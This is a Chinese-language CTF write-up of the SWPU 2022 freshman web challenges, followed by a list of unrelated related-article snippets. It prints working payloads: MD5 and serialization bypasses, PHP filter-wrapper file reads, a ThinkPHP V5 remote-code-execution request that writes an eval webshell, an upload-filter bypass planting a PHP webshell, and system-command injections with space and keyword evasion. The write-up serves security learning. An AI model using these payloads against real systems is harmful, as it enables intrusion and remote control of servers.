SWPU 2022 新生赛--web题
奇妙的MD5
进入靶场
然我们输入一个特殊的字符串,然后我到处翻了翻,发现有提示
在MD5中有两个特殊的字符串
0e215962017 //MD5加密后弱比较等于自身 ffifdyop //MD5加密后变成万能密码
这里明显就是万能密码了
输入之后就来到了这个页面
源码里面就有想要的线索
<!-- $x= $GET['x']; $y = $_GET['y']; if($x != $y && md5($x) == md5($y)){; -->
这个就是简单的MD5弱比较
输入?x=240610708&y=s878926199a即可
输入之后又是一个代码审计,这个就是强比较了,数组绕过即可
ez_ez_php
进入靶场
一个简单的代码审计
这个代码的意思是说前三个字符必须要是php
那就用php伪协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
先进行base64解密
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
echo "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";
echo "换个思路,试试PHP伪协议呢";
解密出来是这个
然后提示说real_flag_is_in_'flag',那么payload
?file=php://filter/read=convert.base64-encode/resource=flag
base64解码
NSSCTF{4be155fb-6428-4f0c-ae04-4adc2cb1199a}
ez_ez_unserialize
进入靶场
这个反序列化题主要是如何绕过__wake魔法函数
先将这个序列化
__wake魔法函数的触发条件是在进行反序列化之前触发,因此只需要修改参数就能绕过
payload
?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
ez_rce
这个题目没什么好评价的,漏洞复现而已
先进入靶场
目录扫描之后,发现robots.txt文件
进入之后发现新大陆
然后来到这个页面
然后搜索ThinkPHP V5漏洞复现即可
payload
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami //这个指令可以用来命令执行
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?>
//这个指令可以用来写马
连上蚁剑后
flag在/nss/ctf/flag/flag
Ez_upload
进入靶场
有一个文件上传框
首先,直接上传php文件
上传png文件并抓个包试试
"你上传的什么鬼?",这个应该是对Content-Type做了过滤,或者对内容做了过滤,先把内容全部删掉测试Content-Type
也传不上去,一顿测试之后发现filename=muma.png并且Content-Type为image/jpeg才能上传
那么将一句话木马传进去
又出现了"换其他类型",那就是对内容做了过滤,尝试之后发现对<?做了过滤,payload
<script language="php">eval($_POST['cmd']);</script>
上传成功
但是怎么才能让这个执行呢,后缀名不能为ph,那么就可以传.hta文件,上传之后用蚁剑连接muma.png即可
然后在终端输入env即可出flag
funny_php
进入靶场
一上来就是长串的代码审计
但是看了一会发现这个可以分几部分,那么就一部分一部分的解题
第一部分
if(isset($_GET['num'])){if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){echo ":D";$_SESSION['L1'] = 1;}else{echo ":C";}}
这个地方需要num小于等于3并且大于999999999,这个地方用科学计数法绕过就行
payload
?num=3e9
第二部分
if(isset($_GET['str'])){$str = preg_replace('/NSSCTF/',"",$_GET['str']);if($str === "NSSCTF"){echo "wow";$_SESSION['L2'] = 1;}else{echo $str;}}
这个地方需要让str的值为NSSCTF,但是又将NSSCTF代替为空,双写绕过即可
payload
?str=NSSNSSCTFCTF
第三部分
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){echo "Nice!";if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){echo "yoxi!";$_SESSION['L3'] = 1;}else{echo "X(";}}}else{echo "G";echo $_POST['md5_1']."\n".$_POST['md5_2'];}}
这个代码看着很长,其实就是个弱比较,只要全是字符串就行
payload
md5_1=QNKCDZO&md5_2=240610708
funny_web
首先进入靶场
这个属于一个签到题
账号:NSS
密码:2122693401
进来之后简单源码审计,很简单的过滤方法
输入?num=12345a即可
js_sign
进入靶场
只有一个框,题目提示说看js文件
这里已经出现flag了,将这串数字去掉空格之后变为
3343431344215434452124331421311122125444113513341415
解码之后
flag就出来了
最终答案
NSSCTF{fyoufindflagbytapcode}
numgame
进入靶场
我第一想法就是把这个点到20,但是加到16之后再加就直接跳到-20了,这个做法明显不太理智,然后我想查看源代码,然后可恶的出题人把右键和ctrl+u都给ban了
那就用view-source大法
view-source:http://node5.anna.nssctf.cn:21933/
查看js文件
在nssctf里面有一个base64加密后的文件
解密之后为NsScTf.php
进入这个页面
这里过滤了n和c,但没有大小写过滤,先访问hint2.php吧,题目提示与get相似的另一种请求,那应该就是post了
ps:在编程语言中,双冒号运算符(::)可以用来访问类的成员,包括静态成员和非静态成员
因此,以post的方式执行命令就行
payload
p=nss::ctf //表示访问nss类下的ctf成员变量
执行之后他告诉我类是nss2,那就改一下payload即可
p=nss2::ctf
执行之后查看源码就能得到flag
webdog1__start
这个题目还是挺有意思的,有许多的提示隐藏了
进入靶场
这里有两种方向,查看源码,又或者去扫目录,首先走第一步,源码里面有东西
if (isset($_GET['web'])) {$first=$_GET['web'];if ($first==md5($first))
MD5加密后与原来相同
那就是0e215962017
输入?web=0e215962017
来到start.php页面
将里面的所有地方都点过了,并没有什么有用的地方,但网络层给了提示
进来这个页面后同样网络层又给了提示
进入F1l1l1l1l1lag.php目录内,来到了最终的地方
进行源码审计,利用点在eval,但是将空格和flag字符过滤了,空格可以用%09过滤,flag可以用通配符过滤
payload
?get=system('tac%09/f*');
第二种方法就是扫目录
就可以跳过前两步,直接进入robots.txt找答案了
里面是乱码,乱码修复即可
后面的步骤都是一样了
1z_unserialize
进入靶场
这个是非常简单的反序列化了
构造php
输出结果为
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
ls的结果出来了,修改参数找flag就行,payload
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"tac /flag";}
相关文章:
SWPU 2022 新生赛--web题
奇妙的MD5 进入靶场 然我们输入一个特殊的字符串,然后我到处翻了翻,发现有提示 在MD5中有两个特殊的字符串 0e215962017 //MD5加密后弱比较等于自身 ffifdyop //MD5加密后变成万能密码 这里明显就是万能密码了 输入之后就来到了这个页…...
Windows 靶机常见服务、端口及枚举工具与方法全解析:SMB、LDAP、NFS、RDP、WinRM、DNS
在渗透测试中,Windows 靶机通常会运行多种服务,每种服务都有其默认端口和常见的枚举工具及方法。以下是 Windows 靶机常见的服务、端口、枚举工具和方法的详细说明: 1. SMB(Server Message Block) 端口 445/TCP&…...
记一次Linux共享内存段排除Bug:key值为0x0000000的共享内存段删除不了
本文目录 一、问题情况二、解决方法2.1 通过kill命令删除2.2 通过程序删除 一、问题情况 今天查看共享内存段发现好多共享内存段,而且命令ipcrm -m <shmid>删除不了。 回想了一下,应该是有一些程序跑while循环,或者死循环,…...
RV1126画面质量四:GOP改善画质
一. 什么是 GOP GOP 实际上就是两个 I 帧的间隔,比方说分辨率是 1920 * 1080 50 帧,假设 GOP 为 5,那就是大概 2s 插入一个 I 帧。我们再 回顾下,H264/H265 的帧结构。H264/H265 分别分为三种帧类型:I 帧、…...
手机app如何跳过无障碍权限实现弹框自动点击-ADB连接专题
手机app如何跳过无障碍权限实现弹框自动点击 --ADB连接专题 一、前言 我们在前期的时候,在双SIM卡进行协同外呼和SIM卡切换时,对如何在手机中“执行批处理脚本做自动点击”的内容进行预研,力图使用事件触发和坐标点击等方式来实现手机安装…...
kafka-保姆级配置说明(consumer)
bootstrap.servers #deserializer应该与producer保持对应 #key.deserializer #value.deserializer ##fetch请求返回时,至少获取的字节数,默认值为1 ##当数据量不足时,客户端请求将会阻塞 ##此值越大,客户端请求阻塞的时间越长&…...
c语言中的数组(上)
数组的概念 数组是⼀组相同类型元素的集合; 数组中存放的是1个或者多个数据,但是数组元素个数不能为0。 数组中存放的多个数据,类型是相同的。 数组分为⼀维数组和多维数组,多维数组⼀般⽐较多⻅的是⼆维数组。 数组创建 在C语言…...
20250122-正则表达式
1. 正则标记 表示一位字符:\\ 表示指定的一位字符:x 表示任意的一位字符:. 表示任意一位数字:\d 表示任意一位非数字:\D 表示任意一个字母:[a-zA-Z](大写或小写) 表示任意一个…...
(回溯法 子集)leetcode78
#include<iostream> #include<string> #include<vector> //只有子集需要在每个结点收集结果,其余在叶子结点收集结果 using namespace std; vector<vector<int>>ans; vector<int>combine; void backtracking(int index,vector&…...
Pyecharts之图表组合与布局优化
在数据可视化中,我们经常需要将多个图表组合在一起,以展示不同维度的数据或者进行对比分析。同时,合理的布局能够提升图表的可读性和用户体验。Pyecharts 提供了强大的组件和方法,让我们可以轻松实现图表的组合和布局优化。本篇将…...
代码随想录训练营第五十六天| 108.冗余连接 109.冗余连接II
108.冗余连接 题目链接:卡码网题目链接(ACM模式) (opens new window) 讲解链接:代码随想录 并查集可以解决什么问题:两个节点是否在一个集合,也可以将两个节点添加到一个集合中。 引自代码随想录ÿ…...
私有包上传maven私有仓库nexus-2.9.2
一、上传 二、获取相应文件 三、最后修改自己的pom文件...
二叉搜索树中的搜索(力扣700)
首先介绍一下什么是二叉搜索树。 二叉搜索树是一个有序树: 若它的左子树不空,则左子树上所有结点的值均小于它的根结点的值;若它的右子树不空,则右子树上所有结点的值均大于它的根结点的值;它的左、右子树也分别为二叉…...
社区养老服务平台的设计与实现(代码+数据库+LW)
摘 要 互联网发展至今,无论是其理论还是技术都已经成熟,而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播,搭配信息管理工具可以很好地为人们提供服务。针对信息管理混乱,出错率高,信息安全性差&#…...
高速光模块中的并行光学和WDM波分光学技术
随着AI大模型训练和推理对计算能力的需求呈指数级增长,AI数据中心的网络带宽需求大幅提升,推动了高速光模块的发展。光模块作为数据中心和高性能计算系统中的关键器件,主要用于提供高速和大容量的数据传输服务。 光模块提升带宽的方法有两种…...
python生成图片和pdf,快速
1、下载安装 pip install imgkit pip install pdfkit2、wkhtmltopdf工具包,下载安装 下载地址:https://wkhtmltopdf.org/downloads.html 3、生成图片 import imgkit path_wkimg rD:\app\wkhtmltopdf\bin\wkhtmltoimage.exe # 工具路径,安…...
浅谈在AI时代GIS的发展方向和建议
在AI时代,GIS(地理信息系统)的发展正经历着深刻的变革,随着人工智能技术的进步,GIS不再仅仅是传统的地图和空间数据处理工具,而是向更加智能化、自动化、精准化的方向发展。作为一名GIS开发工程师ÿ…...
【25考研】中科院软件考研复试难度分析!
中科院软件复试不需要上机!且对专业综合能力要求较高!提醒同学一定要认真复习! 一、复试内容 二、参考书目 官方并未明确给出,建议同学参考初试书目: 1)《数据结构(C语言版)》严蔚…...
【2024年华为OD机试】 (A卷,200分)- 计算网络信号、信号强度(JavaScriptJava PythonC/C++)
一、问题描述 题目解析 问题描述 我们有一个 m x n 的二维网格地图,每个格子可能是以下几种情况之一: 0:表示该位置是空旷的。x(正整数):表示该位置是信号源,信号强度为 x。-1:表示该位置是阻隔物,信号无法直接穿透。信号源只有一个,阻隔物可能有多个。信号在传播…...
SpringBoot整合Swagger UI 用于提供接口可视化界面
目录 一、引入相关依赖 二、添加配置文件 三、测试 四、Swagger 相关注解 一、引入相关依赖 图像化依赖 Swagger UI 用于提供可视化界面: <dependency><groupId>io.springfox</groupId><artifactId>springfox-swagger-ui</artifactI…...
C语言:数据的存储
本文重点: 1. 数据类型详细介绍 2. 整形在内存中的存储:原码、反码、补码 3. 大小端字节序介绍及判断 4. 浮点型在内存中的存储解析 数据类型结构的介绍: 类型的基本归类: 整型家族 浮点家族 构造类型: 指针类型&…...
OpenFGA
1.什么是OpenFGA Fine-Grained Authorization 细粒度关系型授权 2.什么是细粒度授权 细粒度授权 (FGA) 意味着能够授予特定用户在特定资源中执行特定操作的权限。 精心设计的 FGA 系统允许您管理数百万个对象和用户的权限。随着系统不断添加对象并更新用户的访问权限&#…...
Kafka 入门与应用实战:吞吐量优化与与 RabbitMQ、RocketMQ 的对比
前言 在现代微服务架构和分布式系统中,消息队列作为解耦组件,承担着重要的职责。它不仅提供了异步处理的能力,还能确保系统的高可用性、容错性和扩展性。常见的消息队列包括 Kafka、RabbitMQ 和 RocketMQ,其中 Kafka 因其高吞吐量…...
单链表算法实战:解锁数据结构核心谜题——链表的回文结构
题目如下: 解题过程如下: 回文结构举例: 回文数字:12521、12321、1221…… 回文字符串:“abcba”、“abba”…… 并不是所有的循环嵌套的时间复杂度都是O(n^2) 可以用C写C程序: C里可以直接使用ListNode…...
【2024年 CSDN博客之星】我的2024年创作之旅:从C语言到人工智能,个人成长与突破的全景回顾
我的2024年创作之旅:从C语言到人工智能,个人成长与突破的全景回顾 引言 回望2024年,我不仅收获了技术上的成长,更收获了来自CSDN平台上无数粉丝、朋友以及网友们的支持与鼓励。在这条创作之路上,CSDN不仅是我展示技术成…...
Qt Enter和HoverEnter事件
介绍 做PC开发的过程中或多或少都会接触到鼠标的悬停事件,Qt中处理鼠标悬停有Enter和HoverEnter两种事件 相同点 QEvent::Enter对应QEnterEvent,描述的是鼠标进入控件坐标范围之内的行为,QEnterEvent可以抓取鼠标的位置;QEvent…...
Python:元组构造式和字典推导式
(Python 元组构造式和字典推导式整理笔记) 1. 元组构造式 1.1 创建元组 使用圆括号: tuple1 (1, 2.5, (three, four), [True, 5], False) print(tuple1) # 输出: (1, 2.5, (three, four), [True, 5], False) 省略圆括号: tup…...
科普篇 | “机架、塔式、刀片”三类服务器对比
一、引言 在互联网的世界里,服务器就像是默默运转的超级大脑,支撑着我们日常使用的各种网络服务。今天,咱们来聊聊服务器家族中的三位 “明星成员”:机架式服务器、塔式服务器和刀片式服务器。如果把互联网比作一座庞大的城市&…...
数据结构——概念与时间空间复杂度
目录 前言 一相关概念 1什么是数据结构 2什么是算法 二算法效率 1如何衡量算法效率的好坏 2算法的复杂度 三时间复杂度 1时间复杂度表示 2计算时间复杂度 2.1题一 2.2题二 2.3题三 2.4题四 2.5题五 2.6题六 2.7题七 2.8题八 四空间复杂度 1题一 2题二 3…...
centos7 配置国内镜像源安装 docker
使用国内镜像源:由于 Docker 的官方源在国内访问可能不稳定,你可以使用国内的镜像源,如阿里云的镜像源。手动创建 /etc/yum.repos.d/docker-ce.repo 文件,并添加以下内容: [docker-ce-stable] nameDocker CE Stable -…...
PyCharm配置Python环境
1、打开PyCharm项目 可以从File-->Open-->选择你的项目路径-->OK,或者直接点击Open,找到项目路径-->OK,如图所示(点击Ok后可能有下面的弹窗,选择“Trust Project”即可,然后选择“New Window”打开项目) …...
Linux(Centos、Ubuntu) 系统安装jenkins服务
该文章手把手演示在Linux系统下如何安装jenkins服务、并自定义jenkins数据文件位置、以及jenkins如何设置国内镜像源加速,解决插件下载失败问题 安装方式:war包安装 阿里云提供的war下载源地址:https://mirrors.aliyun.com/jenkins/war/?s…...
本地大模型编程实战(02)语义检索(1)
文章目录 准备加载文档分割文档嵌入矢量存储查询矢量库检索返回评分先嵌入查询文本再检索 检索器总结代码 我们在百度、必应、谷歌等搜索引擎中使用的检索都是基于字符串的:用户输入字符串后,搜索引擎先对搜索内容进行分词,然后在已经进行了倒…...
使用 Redis 实现分布式锁的基本思路
使用 Redis 实现分布式锁的基本思路 在分布式系统中,多个进程或服务可能会同时访问共享资源(如数据库、缓存、文件等),这可能会导致数据不一致或并发冲突。Redis 由于其高性能和单线程模型,是实现分布式锁的一个常见选…...
SQL-leetcode—1193. 每月交易 I
1193. 每月交易 I 表:Transactions ---------------------- | Column Name | Type | ---------------------- | id | int | | country | varchar | | state | enum | | amount | int | | trans_date | date | ---------------------- id 是这个表的主键。 该表包含…...
【MYSQL】mysql 常用命令
文章目录 1. 数据库管理命令2. 表管理命令3. 数据操作命令4. 数据查询进阶5. 用户与权限管理6. 使用脚本操作数据库 1. 数据库管理命令 -- 查看所有数据库 SHOW DATABASES;-- 创建数据库 CREATE DATABASE 数据库名;-- 选择数据库 USE 数据库名;-- 删除数据库 DROP DATABASE 数…...
linux 内核学习方向以及职位
### 学习路径 1. 基础阶段: - C语言高级特性 - 指针和内存管理 - 数据结构实现 - 位操作 - 多线程编程 - Linux系统编程 - 文件I/O操作 - 进程管理 - 信号处理 - IPC机制 - Socket编程 - 必备知识 - 操作系统原理 - 计算机体系结构 - …...
DeepSeek火爆,参数量、激活参数 和 预训练 token 量 是什么?
最近DeepSeek火爆,爆出了几个关键参数,分别是参数量、激活参数 和 预训练 token 量。 这里用通俗的语言给大家解释一下~ 首先要知道1B 是 Billion(十亿)的缩写 参数量:671B(6710 亿) 想象你…...
设计新的 Kibana 仪表板布局以支持可折叠部分等
作者:来自 Elastic Teresa Alvarez Soler, Hannah Mudge 及 Nathaniel Reese 在 Kibana 中构建可折叠仪表板部分需要彻底改造嵌入式系统并创建自定义布局引擎。这些更新改进了状态管理、层次结构和性能,同时为新的高级仪表板功能奠定了基础。 我们正在开…...
vscode如何安装vue语法支持
在VSCode中安装Vue语法支持非常简单。1、你需要安装“Vetur”扩展,这是一个专门为Vue.js开发设计的扩展;2、你可以通过VSCode的扩展市场轻松找到并安装它;3、安装完成后,你还可以根据需要进行一些配置,以优化你的开发体…...
从零安装 LLaMA-Factory 微调 Qwen 大模型成功及所有的坑
文章目录 从零安装 LLaMA-Factory 微调 Qwen 大模型成功及所有的坑一 参考二 安装三 启动准备大模型文件 四 数据集(关键)!4.1 Alapaca格式4.2 sharegpt4.3 在 dataset_info.json 中注册4.4 官方 alpaca_zh_demo 例子 999条数据, 本机微调 5分…...
easyexcel-导入(读取)(read)-示例及核心部件
文章目录 导入(读取)(read)-示例及核心部件导入(读取)(read)-核心部件EasyExcel(EasyExcelFactory) # 入口read() # read()方法用于构建workbook(工作簿)对象,new ExcelReaderBuilder()doReadAll()这里选XlsxSaxAnalyser这个实现类吧然后到这个类XlsxRowHandler&…...
10 Hyperledger Fabric 介绍
简介 HypeLedger(超级账本)是由Linux基金会2015年创建的首个面向企业应用场景的开源分布式账本平台。 HypeLedger Fabric是HypeLedger种的区块链项目之一HypeLedger Fabric引入权限管理在架构设计上支持可插拔、可扩展是首个面向联盟链场景的开源项目 …...
第28章 测试驱动开发模式:深入绿条模式及相关技术
写在前面 这本书是我们老板推荐过的,我在《价值心法》的推荐书单里也看到了它。用了一段时间 Cursor 软件后,我突然思考,对于测试开发工程师来说,什么才更有价值呢?如何让 AI 工具更好地辅助自己写代码,或许…...
PTMD2.0-疾病相关的翻译后修饰数据库
翻译后修饰(PTMs,post-translational modifications)通过调节蛋白质功能参与了几乎所有的生物学过程,而 PTMs 的异常状态常常与人类疾病相关。在此,PTMD 2.0展示与疾病相关的 PTMs 综合数据库,其中包含 93 …...
gradle生命周期钩子函数
文章目录 0. 总结表格1. 构建初始阶段gradle.settingsEvaluated()gradle.projectsLoaded() 2. 配置阶段gradle.beforeProject()gradle.afterProject()gradle.projectEvaluated()gradle.afterEvaluate()gradle.taskGraph.whenReady 3. 执行阶段gradle.taskGraph.beforeTaskgradl…...
操作系统(Linux Kernel 0.11Linux Kernel 0.12)解读整理——内核初始化(main init)之内存的划分
前言 MMU:内存管理单元(Memory Management Unit)完成的工作就是虚拟地址到物理地址的转换,可以让系统中的多个程序跑在自己独立的虚拟地址空间中,相互不会影响。程序可以对底层的物理内存一无所知,物理地址可以是不连续的&#x…...
WPF基础 | WPF 布局系统深度剖析:从 Grid 到 StackPanel
WPF基础 | WPF 布局系统深度剖析:从 Grid 到 StackPanel 一、前言二、Grid 布局:万能的布局王者2.1 Grid 布局基础:构建网格世界2.2 子元素定位与跨行列:布局的精细操控2.3 自适应布局:灵活应变的秘诀 三、StackPanel…...
C++红黑树详解
文章目录 红黑树概念规则为什么最长路径不超过最短路径的二倍?红黑树的时间复杂度红黑树的结构插入叔叔节点情况的讨论只变色(叔叔存在且为红)抽象的情况变色单旋(叔叔不存在或叔叔存在且为黑)变色双旋(叔叔不存在或叔叔存在且为黑…...
【经验分享】ARM Linux-RT内核实时系统性能评估工具
【经验分享】ARM Linux-RT内核实时系统性能评估工具 前言下载和编译方法常用工具介绍总结 前言 最近在研究Linux-RT实时系统,介绍下常用的实时系统的性能评估工具。 下载和编译方法 用git下载 git clone git://git.kernel.org/pub/scm/utils/rt-tests/rt-tests.…...